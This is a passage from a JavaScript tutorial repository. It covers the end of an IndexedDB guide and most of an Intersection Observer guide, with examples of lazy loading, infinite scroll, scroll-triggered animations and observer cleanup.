openDB('shop', 1) const tx = db.transaction('products', 'readwrite') for (const product of products) { await tx.store.put(product) } await tx.done console.log(`Cached ${products.length} products`) } ``` </Accordion> <Accordion title="Complex Querying Needs"> When you need to search or filter data by multiple fields, indexes make this efficient. ```javascript // Find all products under $50 async function getAffordableProducts(db) { const tx = db.transaction('products', 'readonly') const index = tx.store.index('price') const range = IDBKeyRange.upperBound(50) return await index.getAll(range) } ``` </Accordion> <Accordion title="Storing Files and Blobs"> Unlike localStorage, IndexedDB can store binary data like images, audio, and files. ```javascript // Store an image blob async function cacheImage(url) { const response = await fetch(url) const blob = await response.blob() const db = await openDB('images', 1) await db.put('images', { url, blob, cached: Date.now() }) } ``` </Accordion> </AccordionGroup> --- ## Real-World Patterns ### Pattern 1: Sync Queue for Offline Actions Store user actions while offline, then sync when back online: ```javascript // Queue an action for later sync async function queueAction(action) { const db = await openDB('app', 1) await db.add('syncQueue', { action, timestamp: Date.now(), status: 'pending' }) } // Sync all pending actions async function syncPendingActions() { const db = await openDB('app', 1) const pending = await db.getAllFromIndex('syncQueue', 'status', 'pending') for (const item of pending) { try { await fetch('/api/sync', { method: 'POST', body: JSON.stringify(item.action) }) await db.delete('syncQueue', item.id) } catch (error) { console.log('Will retry later:', item.action) } } } // Sync when back online window.addEventListener('online', syncPendingActions) ``` ### Pattern 2: Database Helper Class Encapsulate database logic in a reusable class: ```javascript class UserDatabase { constructor() { this.dbPromise = openDB('users-db', 1, { upgrade(db) { const store = db.createObjectStore('users', { keyPath: 'id' }) store.createIndex('email', 'email', { unique: true }) } }) } async add(user) { const db = await this.dbPromise return db.add('users', user) } async get(id) { const db = await this.dbPromise return db.get('users', id) } async getByEmail(email) { const db = await this.dbPromise return db.getFromIndex('users', 'email', email) } async update(user) { const db = await this.dbPromise return db.put('users', user) } async delete(id) { const db = await this.dbPromise return db.delete('users', id) } async getAll() { const db = await this.dbPromise return db.getAll('users') } } // Usage const users = new UserDatabase() await users.add({ id: 1, name: 'Alice', email: 'alice@example.com' }) const alice = await users.getByEmail('alice@example.com') ``` --- ## Common Mistakes ### Mistake 1: Forgetting Transaction Mode ```javascript // ❌ WRONG - Trying to write with readonly transaction const tx = db.transaction('users') // defaults to 'readonly' tx.objectStore('users').add({ id: 1, name: 'Alice' }) // ERROR! // ✓ CORRECT - Specify 'readwrite' for write operations const tx = db.transaction('users', 'readwrite') tx.objectStore('users').add({ id: 1, name: 'Alice' }) // Works! ``` ### Mistake 2: Creating Stores Outside onupgradeneeded ```javascript // ❌ WRONG - Can't create stores in onsuccess request.onsuccess = (event) => { const db = event.target.result db.createObjectStore('users') // ERROR: Not in version change transaction } // ✓ CORRECT - Create stores in onupgradeneeded request.onupgradeneeded = (event) => { const db = event.target.result db.createObjectStore('users', { keyPath: 'id' }) // Works! } ``` ### Mistake 3: Assuming Sync Behavior ```javascript // ❌ WRONG - Treating IndexedDB like it's synchronous const tx = db.transaction('users', 'readwrite') tx.objectStore('users').add({ id: 1, name: 'Alice' }) console.log('User saved!') // This runs before the add completes! // ✓ CORRECT - Wait for the operation to complete const tx = db.transaction('users', 'readwrite') const request = tx.objectStore('users').add({ id: 1, name: 'Alice' }) request.onsuccess = () => { console.log('User saved!') // Now it's actually saved } ``` ### Mistake 4: Not Handling Blocked Database Opens When a database is open in another tab with an older version: ```javascript const request = indexedDB.open('MyApp', 2) // ✓ Handle the blocked event request.onblocked = () => { alert('Please close other tabs with this app to allow the update.') } request.onupgradeneeded = (event) => { // Upgrade logic } ``` --- ## Key Takeaways <Info> **The key things to remember about IndexedDB:** 1. **IndexedDB is a full database in the browser** — it stores structured data with support for indexes, transactions, and complex queries, unlike localStorage's simple key-value pairs 2. **Everything is asynchronous** — IndexedDB uses an event-based API (or Promises with a wrapper) and never blocks the main thread 3. **Object stores are like tables** — each stores a collection of records identified by a unique key (either from the object's property or auto-generated) 4. **Indexes enable efficient lookups** — create indexes on fields you want to query by, beyond just the primary key 5. **All operations happen in transactions** — transactions ensure data integrity by grouping operations that either all succeed or all fail 6. **Transactions auto-commit quickly** — never do async work (like fetch) inside a transaction; get your data first, then write to IndexedDB 7. **Use `put()` for upserts, `add()` for inserts only** — `add()` fails if the key exists, `put()` inserts or updates 8. **Schema changes require version increments** — only `onupgradeneeded` can create or modify object stores; increment the version number to trigger it 9. **Consider using the idb library** — it wraps IndexedDB with Promises for cleaner async/await code 10. **IndexedDB is perfect for offline-first apps** — store data locally, work offline, and sync when back online </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: When can you create object stores in IndexedDB?"> **Answer:** Object stores can only be created inside the `onupgradeneeded` event handler, which fires when you open a database with a higher version number than what exists. This is IndexedDB's way of handling schema migrations. ```javascript const request = indexedDB.open('MyApp', 2) // Bump version to trigger upgrade request.onupgradeneeded = (event) => { const db = event.target.result db.createObjectStore('newStore', { keyPath: 'id' }) // Only works here! } ``` </Accordion> <Accordion title="Question 2: What's the difference between add() and put()?"> **Answer:** - `add()` inserts a new record. It **fails with an error** if a record with the same key already exists. - `put()` inserts a new record OR updates an existing one. It **never fails** due to duplicate keys. Use `add()` when you expect the record to be new. Use `put()` when you want "insert or update" (upsert) behavior. </Accordion> <Accordion title="Question 3: Why can't you use await fetch() inside a transaction?"> **Answer:** Transactions auto-commit when there are no pending requests and the JavaScript execution returns to the event loop. A `fetch()` call is an async operation that gives control back to the event loop, causing the transaction to commit before your network request completes. ```javascript // ❌ Transaction closes during fetch const tx = db.transaction('users', 'readwrite') const data = await fetch('/api/user') // Transaction closes here! tx.objectStore('users').add(data) // ERROR: Transaction inactive // ✓ Fetch first, then use IndexedDB const data = await fetch('/api/user') const tx = db.transaction('users', 'readwrite') tx.objectStore('users').add(data) // Works! ``` </Accordion> <Accordion title="Question 4: What are indexes used for?"> **Answer:** Indexes let you query records by fields other than the primary key. Without an index, you'd have to iterate through every record to find matches. With an index, lookups are fast. ```javascript // Create an index on the 'email' field store.createIndex('email', 'email', { unique: true }) // Later, query by email instead of primary key const index = store.index('email') const user = await index.get('alice@example.com') ``` </Accordion> <Accordion title="Question 5: When should you use IndexedDB instead of localStorage?"> **Answer:** Use IndexedDB when you need: - **More than 5MB** of storage - **Structured data** with relationships - **Querying capabilities** (search by different fields) - **To store non-string data** (objects, arrays, blobs, files) - **Offline-first functionality** with complex data - **Access from Web Workers** Use localStorage for simple key-value pairs like user preferences or small settings. </Accordion> <Accordion title="Question 6: What does 'readonly' vs 'readwrite' transaction mode do?"> **Answer:** - `readonly`: You can only read data. Multiple readonly transactions can run in parallel on the same store. - `readwrite`: You can read and write. Only one readwrite transaction can access a store at a time (it "locks" the store). Always use `readonly` when you're just reading data. It's faster and doesn't block other transactions. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is IndexedDB used for?"> IndexedDB is used for storing large amounts of structured data in the browser — offline-first applications, caching API responses, storing files and blobs, and any scenario where localStorage's 5MB string-only limit is insufficient. It's the primary storage API for Progressive Web Apps (PWAs) that need to work without a network connection. </Accordion> <Accordion title="How much data can IndexedDB store?"> IndexedDB can store gigabytes of data, far exceeding localStorage's ~5MB limit. According to MDN's storage quotas documentation, browsers typically allow up to 50% of available disk space per origin. Chrome allocates up to 80% of total disk space across all origins, with individual origins limited to 60% of that. </Accordion> <Accordion title="Is IndexedDB synchronous or asynchronous?"> IndexedDB is fully asynchronous and never blocks the main thread. It uses an event-based API with callbacks (`onsuccess`, `onerror`), though most developers use Promise wrappers like the `idb` library for cleaner async/await code. This asynchronous design is a key advantage over localStorage, which is synchronous. </Accordion> <Accordion title="Why can't I use await fetch() inside an IndexedDB transaction?"> Transactions auto-commit when there are no pending requests and JavaScript returns to the event loop. A `fetch()` call yields to the event loop, causing the transaction to close before the network response arrives. Always fetch data first, then open a transaction and write to IndexedDB. </Accordion> <Accordion title="What is the difference between add() and put() in IndexedDB?"> `add()` inserts a new record and fails with an error if a record with the same key already exists. `put()` inserts or updates — it overwrites existing records silently. Use `add()` when you expect unique records and want errors on duplicates; use `put()` for upsert behavior. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="localStorage & sessionStorage" icon="hard-drive" href="/beyond/concepts/localstorage-sessionstorage"> Simpler key-value storage for smaller data. Understand when to use each option. </Card> <Card title="Promises" icon="handshake" href="/concepts/promises"> IndexedDB's callback API is easier with Promises. Essential for using idb and other wrappers. </Card> <Card title="async/await" icon="clock" href="/concepts/async-await"> Write cleaner IndexedDB code with async/await syntax and Promise wrappers. </Card> <Card title="Web Workers" icon="gears" href="/concepts/web-workers"> IndexedDB works in Web Workers, enabling background data processing. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="IndexedDB API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API"> Official MDN documentation covering all IndexedDB interfaces including IDBDatabase, IDBTransaction, and IDBObjectStore </Card> <Card title="Using IndexedDB — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB"> Comprehensive step-by-step tutorial covering the full IndexedDB workflow from opening databases to transactions </Card> <Card title="IDBObjectStore — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore"> Detailed reference for the object store interface including all CRUD methods like add(), put(), get(), and delete() </Card> <Card title="Browser Compatibility — Can I Use" icon="browser" href="https://caniuse.com/indexeddb"> Real-time browser support data showing 96%+ global coverage for IndexedDB features </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="IndexedDB Tutorial — javascript.info" icon="newspaper" href="https://javascript.info/indexeddb"> The most thorough tutorial covering versioning, object stores, transactions, cursors, and promise wrappers. Includes a working demo app with complete source code. </Card> <Card title="Work with IndexedDB — web.dev" icon="newspaper" href="https://web.dev/articles/indexeddb"> Google's official guide using the idb library with modern async/await syntax. Perfect for developers who want to skip the callback-based native API. </Card> <Card title="idb: IndexedDB with Promises" icon="newspaper" href="https://github.com/jakearchibald/idb"> The definitive promise wrapper for IndexedDB (~1.2kB) created by Chrome engineer Jake Archibald. Makes IndexedDB feel like working with modern JavaScript. </Card> <Card title="IndexedDB Key Terminology — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Basic_Terminology"> Explains core concepts like key paths, key generators, transactions, and the structured clone algorithm. Required reading before diving into the API. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="IndexedDB Tutorial for Beginners — dcode" icon="video" href="https://www.youtube.com/watch?v=g4U5WRzHitM"> Clear step-by-step walkthrough of IndexedDB fundamentals including creating databases, stores, and performing CRUD operations. Great for visual learners. </Card> <Card title="IndexedDB Crash Course — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=vb7fkBeblcw"> Brad Traversy's practical tutorial building a complete app with IndexedDB. Covers transactions, cursors, and real-world patterns in under 30 minutes. </Card> <Card title="Client-Side Storage Explained — Fireship" icon="video" href="https://www.youtube.com/watch?v=JR9wsVYp8RQ"> Fast-paced comparison of localStorage, sessionStorage, IndexedDB, and cookies. Helps you understand when to use each storage option. </Card> <Card title="Building Offline-First Apps — Google Chrome Developers" icon="video" href="https://www.youtube.com/watch?v=cmGr0RszHc8"> Conference talk on using IndexedDB with Service Workers for offline-capable PWAs. Essential context for understanding IndexedDB's primary use case. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/intersection-observer.mdx ================================================ --- title: "Intersection Observer in JavaScript" sidebarTitle: "Intersection Observer" description: "Learn the Intersection Observer API in JavaScript. Implement lazy loading, infinite scroll, and scroll animations without scroll events." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Observer APIs" "article:tag": "intersection observer api, lazy loading images, infinite scroll, scroll detection, viewport visibility" --- How do you know when an element scrolls into view? How can you lazy-load images only when they're about to be seen? How do infinite-scroll feeds know when to load more content? And how can you trigger animations at just the right moment as users scroll through your page? ```javascript // Lazy load images when they come into view const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { const img = entry.target; img.src = img.dataset.src; observer.unobserve(img); } }); }); document.querySelectorAll('img[data-src]').forEach(img => observer.observe(img)); ``` The **[Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API)** provides a way to asynchronously observe changes in the intersection of a target element with an ancestor element or the viewport. It's the modern, performant solution for detecting element visibility, replacing expensive scroll event listeners with browser-optimized callbacks. <Info> **What you'll learn in this guide:** - What Intersection Observer is and why it's better than scroll events - How to create and configure observers with options - Understanding thresholds, root, and rootMargin - Implementing lazy loading for images and content - Building infinite scroll functionality - Creating scroll-triggered animations - Common mistakes and best practices </Info> --- ## What is Intersection Observer in JavaScript? The **[Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API)** is a browser API that lets you detect when an element enters, exits, or crosses a certain visibility threshold within a viewport or container element. Instead of constantly checking element positions during scroll events, the browser efficiently notifies your code only when visibility actually changes. [Can I Use data](https://caniuse.com/intersectionobserver) shows the API is supported in over 97% of browsers globally. **In short: Intersection Observer tells you when elements become visible or hidden, without the performance cost of scroll listeners.** --- ## Why Not Just Use Scroll Events? Before Intersection Observer, developers used scroll event listeners with `getBoundingClientRect()` to detect element visibility: ```javascript // The OLD way: scroll events (DON'T do this!) window.addEventListener('scroll', () => { const elements = document.querySelectorAll('.lazy-image'); elements.forEach(el => { const rect = el.getBoundingClientRect(); if (rect.top < window.innerHeight && rect.bottom > 0) { // Element is visible - load it el.src = el.dataset.src; } }); }); ``` **Problems with this approach:** | Issue | Why It's Bad | |-------|--------------| | **Main thread blocking** | Scroll fires 60+ times per second, blocking other JavaScript | | **Layout thrashing** | `getBoundingClientRect()` forces browser to recalculate layout | | **Battery drain** | Constant calculations drain mobile device batteries | | **No throttling built-in** | You must manually debounce/throttle | | **iframe limitations** | Can't detect visibility in cross-origin iframes | ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ SCROLL EVENTS vs INTERSECTION OBSERVER │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ SCROLL EVENTS (Old Way) INTERSECTION OBSERVER (Modern Way) │ │ ───────────────────────── ───────────────────────────────── │ │ │ │ User scrolls User scrolls │ │ │ │ │ │ ▼ ▼ │ │ scroll event fires Browser calculates │ │ (60+ times/sec) intersections internally │ │ │ │ │ │ ▼ ▼ │ │ YOUR CODE runs Callback fires ONLY when │ │ on EVERY scroll visibility ACTUALLY changes │ │ │ │ │ │ ▼ ▼ │ │ getBoundingClientRect() Entry object with all │ │ forces layout data pre-calculated │ │ │ │ │ │ ▼ ▼ │ │ 🐌 SLOW, janky scrolling 🚀 SMOOTH, 60fps scrolling │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` **Intersection Observer runs off the main thread** and is optimized by the browser, making it dramatically more efficient. According to [web.dev](https://web.dev/articles/intersectionobserver-v2), Google introduced the API specifically to address the performance problems of scroll-based visibility detection, which was a leading cause of jank on content-heavy pages. --- ## How to Create an Intersection Observer Creating an observer involves two steps: instantiate the observer with a callback, then tell it what elements to observe. ### Basic Syntax ```javascript // Step 1: Create the observer with a callback const observer = new IntersectionObserver((entries, observer) => { entries.forEach(entry => { console.log(entry.target, 'isIntersecting:', entry.isIntersecting); }); }); // Step 2: Tell it what to observe const element = document.querySelector('.my-element'); observer.observe(element); ``` The **[`IntersectionObserver`](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver/IntersectionObserver)** constructor takes two arguments: 1. **Callback function** — Called whenever observed elements cross visibility thresholds 2. **Options object** (optional) — Configures when and how intersections are detected ### The Callback Function The callback receives two parameters: ```javascript const callback = (entries, observer) => { // entries: Array of IntersectionObserverEntry objects // observer: The IntersectionObserver instance (useful for unobserving) entries.forEach(entry => { // entry.target — The observed element // entry.isIntersecting — Is it currently visible? // entry.intersectionRatio — How much is visible (0 to 1) // entry.boundingClientRect — Element's size and position // entry.intersectionRect — The visible portion's rectangle // entry.rootBounds — The root element's rectangle // entry.time — Timestamp when intersection was recorded }); }; ``` <Note> **Important:** The callback fires once immediately when you call `observe()` on an element, reporting its current intersection state. This is intentional, so you know the initial visibility. </Note> ### IntersectionObserverEntry Properties Each entry in the callback provides detailed intersection data: | Property | Type | Description | |----------|------|-------------| | `target` | Element | The element being observed | | `isIntersecting` | boolean | `true` if element is currently intersecting root | | `intersectionRatio` | number | Percentage visible (0.0 to 1.0) | | `boundingClientRect` | DOMRect | Target element's bounding rectangle | | `intersectionRect` | DOMRect | The visible portion's rectangle | | `rootBounds` | DOMRect | Root element's bounding rectangle (or viewport) | | `time` | number | Timestamp when intersection change was recorded | ```javascript const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { console.log('Element:', entry.target.id); console.log('Is visible:', entry.isIntersecting); console.log('Visibility %:', Math.round(entry.intersectionRatio * 100) + '%'); console.log('Position:', entry.boundingClientRect.top, 'px from top'); }); }); ``` --- ## Intersection Observer Options The options object customizes when the callback fires: ```javascript const options = { root: null, // The viewport (or a specific container element) rootMargin: '0px', // Margin around the root threshold: 0 // When to trigger (0 = any pixel, 1 = fully visible) }; const observer = new IntersectionObserver(callback, options); ``` ### The `root` Option The **root** defines the container used for checking visibility. It defaults to `null` (the browser viewport). ```javascript // Observe visibility relative to the viewport (default) const observer1 = new IntersectionObserver(callback, { root: null }); // Observe visibility relative to a scrollable container const scrollContainer = document.querySelector('.scroll-container'); const observer2 = new IntersectionObserver(callback, { root: scrollContainer }); ``` <Warning> When using a custom root, the observed elements **must be descendants** of that root element. Otherwise, the observer won't detect intersections. </Warning> ### The `rootMargin` Option The **rootMargin** grows or shrinks the root's detection area. It works like CSS margins: ```javascript // Start detecting 100px BEFORE element enters viewport (for preloading) const observer = new IntersectionObserver(callback, { rootMargin: '100px 0px' // top/bottom: 100px, left/right: 0px }); // Shrink the detection area (element must be 50px inside viewport) const observer2 = new IntersectionObserver(callback, { rootMargin: '-50px' // All sides shrink by 50px }); ``` ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ rootMargin EXPLAINED │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ rootMargin: '100px 0px 100px 0px' │ │ │ │ ┌──────────────────────┐ │ │ │ +100px margin (top) │ ← Elements detected HERE │ │ ├──────────────────────┤ │ │ │ │ │ │ │ VIEWPORT │ ← Actual visible area │ │ │ │ │ │ ├──────────────────────┤ │ │ │ +100px margin (bottom)│ ← Elements detected HERE │ │ └──────────────────────┘ │ │ │ │ Use positive margins for PRELOADING (lazy load before visible) │ │ Use negative margins for DELAYING (wait until fully in view) │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` **Common rootMargin patterns:** | Value | Use Case | |-------|----------| | `'100px'` | Preload images 100px before they enter viewport | | `'-50px'` | Wait until element is 50px inside viewport | | `'0px 0px -50%'` | Trigger when top half of element is visible | | `'200px 0px 200px 0px'` | Large buffer for slow networks | ### The `threshold` Option The **threshold** determines at what visibility percentage the callback fires. It can be a single number or an array: ```javascript // Fire when ANY pixel becomes visible (default) const observer1 = new IntersectionObserver(callback, { threshold: 0 }); // Fire when element is 50% visible const observer2 = new IntersectionObserver(callback, { threshold: 0.5 }); // Fire when element is FULLY visible const observer3 = new IntersectionObserver(callback, { threshold: 1.0 }); // Fire at multiple points (0%, 25%, 50%, 75%, 100%) const observer4 = new IntersectionObserver(callback, { threshold: [0, 0.25, 0.5, 0.75, 1.0] }); ``` ```javascript // Practical example: Track how much of an ad is viewed const adObserver = new IntersectionObserver((entries) => { entries.forEach(entry => { const percentVisible = Math.round(entry.intersectionRatio * 100); console.log(`Ad is ${percentVisible}% visible`); if (entry.intersectionRatio >= 0.5) { trackAdImpression(entry.target); // Count as "viewed" when 50%+ visible } }); }, { threshold: [0, 0.25, 0.5, 0.75, 1.0] }); ``` --- ## Observer Methods The **[`IntersectionObserver`](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver)** instance has four methods: ### observe(element) Start observing an element: ```javascript const element = document.querySelector('.target'); observer.observe(element); // Observe multiple elements document.querySelectorAll('.lazy-image').forEach(img => { observer.observe(img); }); ``` ### unobserve(element) Stop observing a specific element (useful after lazy loading): ```javascript const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { loadImage(entry.target); observer.unobserve(entry.target); // Stop watching after loading } }); }); ``` ### disconnect() Stop observing ALL elements: ```javascript // Stop everything observer.disconnect(); // Common pattern: cleanup when component unmounts class LazyLoader { constructor() { this.observer = new IntersectionObserver(this.handleIntersect); } destroy() { this.observer.disconnect(); } } ``` ### takeRecords() Get any pending intersection records without waiting for the callback: ```javascript // Rarely needed, but useful for synchronous access const pendingEntries = observer.takeRecords(); pendingEntries.forEach(entry => { // Process immediately }); ``` --- ## Implementing Lazy Loading Images Lazy loading is the most common use case for Intersection Observer. Here's a complete implementation: ### HTML Setup ```html <!-- Use data-src instead of src for lazy images --> <img class="lazy" data-src="hero-image.jpg" alt="Hero image"> <img class="lazy" data-src="product-1.jpg" alt="Product 1"> <img class="lazy" data-src="product-2.jpg" alt="Product 2"> <!-- Optional: Add a placeholder or low-quality preview --> <img class="lazy" src="placeholder.svg" data-src="high-res-image.jpg" alt="High resolution image"> ``` ### JavaScript Implementation ```javascript // Create the lazy loading observer const lazyImageObserver = new IntersectionObserver((entries, observer) => { entries.forEach(entry => { if (entry.isIntersecting) { const img = entry.target; // Swap data-src to src img.src = img.dataset.src; // Optional: Handle srcset for responsive images if (img.dataset.srcset) { img.srcset = img.dataset.srcset; } // Remove lazy class (for CSS transitions) img.classList.remove('lazy'); img.classList.add('loaded'); // Stop observing this image observer.unobserve(img); } }); }, { // Start loading 100px before image enters viewport rootMargin: '100px 0px', threshold: 0 }); // Observe all lazy images document.querySelectorAll('img.lazy').forEach(img => { lazyImageObserver.observe(img); }); ``` ### CSS for Smooth Loading ```css .lazy { opacity: 0; transition: opacity 0.3s ease-in; } .lazy.loaded { opacity: 1; } /* Optional: Blur-up effect */ .lazy { filter: blur(10px); transition: filter 0.3s ease-in, opacity 0.3s ease-in; } .lazy.loaded { filter: blur(0); opacity: 1; } ``` <Tip> **Native lazy loading:** Modern browsers support `<img loading="lazy">` which handles basic lazy loading automatically. Use Intersection Observer when you need more control (custom thresholds, animations, or loading indicators). </Tip> --- ## Building Infinite Scroll Infinite scroll loads more content as the user approaches the bottom of the page: ```javascript // The sentinel element sits at the bottom of your content // <div id="sentinel"></div> const sentinel = document.querySelector('#sentinel'); const contentContainer = document.querySelector('#content'); let page = 1; let isLoading = false; const infiniteScrollObserver = new IntersectionObserver(async (entries) => { const entry = entries[0]; if (entry.isIntersecting && !isLoading) { isLoading = true; try { // Fetch more content const response = await fetch(`/api/posts?page=${++page}`); const posts = await response.json(); if (posts.length === 0) { // No more content - stop observing infiniteScrollObserver.unobserve(sentinel); sentinel.textContent = 'No more posts'; return; } // Append new content posts.forEach(post => { const article = createPostElement(post); contentContainer.appendChild(article); }); } catch (error) { console.error('Failed to load more posts:', error); } finally { isLoading = false; } } }, { // Load more when sentinel is 200px from viewport rootMargin: '200px' }); infiniteScrollObserver.observe(sentinel); function createPostElement(post) { const article = document.createElement('article'); article.innerHTML = ` <h2>${post.title}</h2> <p>${post.excerpt}</p> `; return article; } ``` ### Infinite Scroll HTML Structure ```html <div id="content"> <!-- Initial posts loaded here --> <article>...</article> <article>...</article> </div> <!-- Sentinel must be AFTER all content --> <div id="sentinel">Loading more...</div> ``` --- ## Scroll-Triggered Animations Trigger animations when elements scroll into view: ```javascript const animatedElements = document.querySelectorAll('.animate-on-scroll'); const animationObserver = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { // Add animation class entry.target.classList.add('animated'); // Optional: Only animate once animationObserver.unobserve(entry.target); } }); }, { threshold: 0.2, // Trigger when 20% visible rootMargin: '0px 0px -50px 0px' // Trigger slightly before fully in view }); animatedElements.forEach(el => animationObserver.observe(el)); ``` ### CSS Animations ```css .animate-on-scroll { opacity: 0; transform: translateY(30px); transition: opacity 0.6s ease-out, transform 0.6s ease-out; } .animate-on-scroll.animated { opacity: 1; transform: translateY(0); } /* Staggered animations */ .animate-on-scroll:nth-child(1) { transition-delay: 0.1s; } .animate-on-scroll:nth-child(2) { transition-delay: 0.2s; } .animate-on-scroll:nth-child(3) { transition-delay: 0.3s; } ``` ### Reusable Animation Observer ```javascript function createScrollAnimator(options = {}) { const { threshold = 0.2, rootMargin = '0px', animateOnce = true, animatedClass = 'animated' } = options; return new IntersectionObserver((entries, observer) => { entries.forEach(entry => { if (entry.isIntersecting) { entry.target.classList.add(animatedClass); if (animateOnce) { observer.unobserve(entry.target); } } else if (!animateOnce) { entry.target.classList.remove(animatedClass); } }); }, { threshold, rootMargin }); } // Usage const animator = createScrollAnimator({ threshold: 0.3, animateOnce: false }); document.querySelectorAll('[data-animate]').forEach(el => animator.observe(el)); ``` --- ## Sticky Header Detection Detect when a header becomes sticky: ```javascript // CSS: header { position: sticky; top: 0; } const header = document.querySelector('header'); // Create a sentinel element just before the header const sentinel = document.createElement('div'); sentinel.style.height = '1px'; header.before(sentinel); const stickyObserver = new IntersectionObserver(([entry]) => { // When sentinel is NOT intersecting, header is stuck header.classList.toggle('is-stuck', !entry.isIntersecting); }, { threshold: 0, rootMargin: '-1px 0px 0px 0px' // Trigger right at the top }); stickyObserver.observe(sentinel); ``` ```css header { position: sticky; top: 0; background: white; transition: box-shadow 0.3s ease; } header.is-stuck { box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } ``` --- ## Section-Based Navigation Highlight navigation links based on which section is visible: ```javascript const sections = document.querySelectorAll('section[id]'); const navLinks = document.querySelectorAll('nav a'); const sectionObserver = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { // Remove active from all links navLinks.forEach(link => link.classList.remove('active')); // Add active to corresponding link const activeLink = document.querySelector(`nav a[href="#${entry.target.id}"]`); if (activeLink) { activeLink.classList.add('active'); } } }); }, { threshold: 0.5, // Section is "active" when 50% visible rootMargin: '-20% 0px -20% 0px' // Focus on center of viewport }); sections.forEach(section => sectionObserver.observe(section)); ``` --- ## The #1 Intersection Observer Mistake: Not Cleaning Up The most common mistake is forgetting to disconnect observers, leading to memory leaks: ```javascript // ❌ BAD: Observer keeps running forever function setupLazyLoading() { const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { entry.target.src = entry.target.dataset.src; // Forgot to unobserve! } }); }); document.querySelectorAll('.lazy').forEach(img => observer.observe(img)); } // ✅ GOOD: Unobserve after loading function setupLazyLoading() { const observer = new IntersectionObserver((entries, obs) => { entries.forEach(entry => { if (entry.isIntersecting) { entry.target.src = entry.target.dataset.src; obs.unobserve(entry.target); // Stop watching after load } }); }); document.querySelectorAll('.lazy').forEach(img => observer.observe(img)); // Return cleanup function for frameworks return () => observer.disconnect(); } ``` ### Framework Cleanup Patterns ```javascript // React useEffect(() => { const observer = new IntersectionObserver(callback); observer.observe(elementRef.current); return () => observer.disconnect(); // Cleanup on unmount }, []); // Vue 3 Composition API onMounted(() => { observer = new IntersectionObserver(callback); observer.observe(element.value); }); onUnmounted(() => { observer?.disconnect(); }); ``` --- ## Common Mistakes <AccordionGroup> <Accordion title="Mistake 1: Using scroll events for visibility detection"> ```javascript // ❌ WRONG: Scroll events are expensive window.addEventListener('scroll', () => { const rect = element.getBoundingClientRect(); if (rect.top < window.innerHeight) { loadContent(); } }); // ✅ RIGHT: Use Intersection Observer const observer = new IntersectionObserver((entries) => { if (entries[0].isIntersecting) { loadContent(); observer.unobserve(entries[0].target); } }); observer.observe(element); ``` Scroll events fire constantly and block the main thread. Intersection Observer is optimized by the browser. </Accordion> <Accordion title="Mistake 2: Creating multiple observers for the same options"> ```javascript // ❌ WRONG: Creating a new observer for each element images.forEach(img => { const observer = new IntersectionObserver(callback); observer.observe(img); }); // ✅ RIGHT: One observer can watch many elements const observer = new IntersectionObserver(callback); images.forEach(img => observer.observe(img)); ``` A single observer can efficiently track many elements with the same options. </Accordion> <Accordion title="Mistake 3: Forgetting the callback fires immediately"> ```javascript // ❌ WRONG: Assuming callback only fires on scroll const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { // This fires IMMEDIATELY for current state! loadImage(entry.target); }); }); // ✅ RIGHT: Check isIntersecting before acting const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { loadImage(entry.target); } }); }); ``` The callback fires once immediately when you call `observe()` to report current state. </Accordion> <Accordion title="Mistake 4: Using threshold: 1 without accounting for partial visibility"> ```javascript // ❌ WRONG: threshold: 1 may never trigger for tall elements const observer = new IntersectionObserver(callback, { threshold: 1.0 // Requires 100% visibility }); // If element is taller than viewport, it can NEVER be 100% visible! // ✅ RIGHT: Use appropriate threshold or check intersectionRatio const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { // Use intersectionRatio for flexible visibility checking if (entry.intersectionRatio >= 0.8 || entry.isIntersecting) { handleVisibility(entry.target); } }); }, { threshold: [0, 0.25, 0.5, 0.75, 1.0] }); ``` </Accordion> <Accordion title="Mistake 5: Not handling the root element requirement"> ```javascript // ❌ WRONG: Observed element must be a descendant of root const container = document.querySelector('.sidebar'); const observer = new IntersectionObserver(callback, { root: container }); // This element is NOT inside .sidebar - won't work! observer.observe(document.querySelector('.main-content .item')); // ✅ RIGHT: Observe elements inside the root observer.observe(container.querySelector('.sidebar-item')); ``` </Accordion> </AccordionGroup> --- ## Browser Support and Polyfill Intersection Observer has excellent browser support (available since March 2019 in all major browsers): ```javascript // Feature detection if ('IntersectionObserver' in window) { // Use Intersection Observer const observer = new IntersectionObserver(callback); } else { // Fallback for very old browsers // Load polyfill or use scroll events } ``` For legacy browser support, use the [official polyfill](https://github.com/w3c/IntersectionObserver/tree/main/polyfill): ```html <script 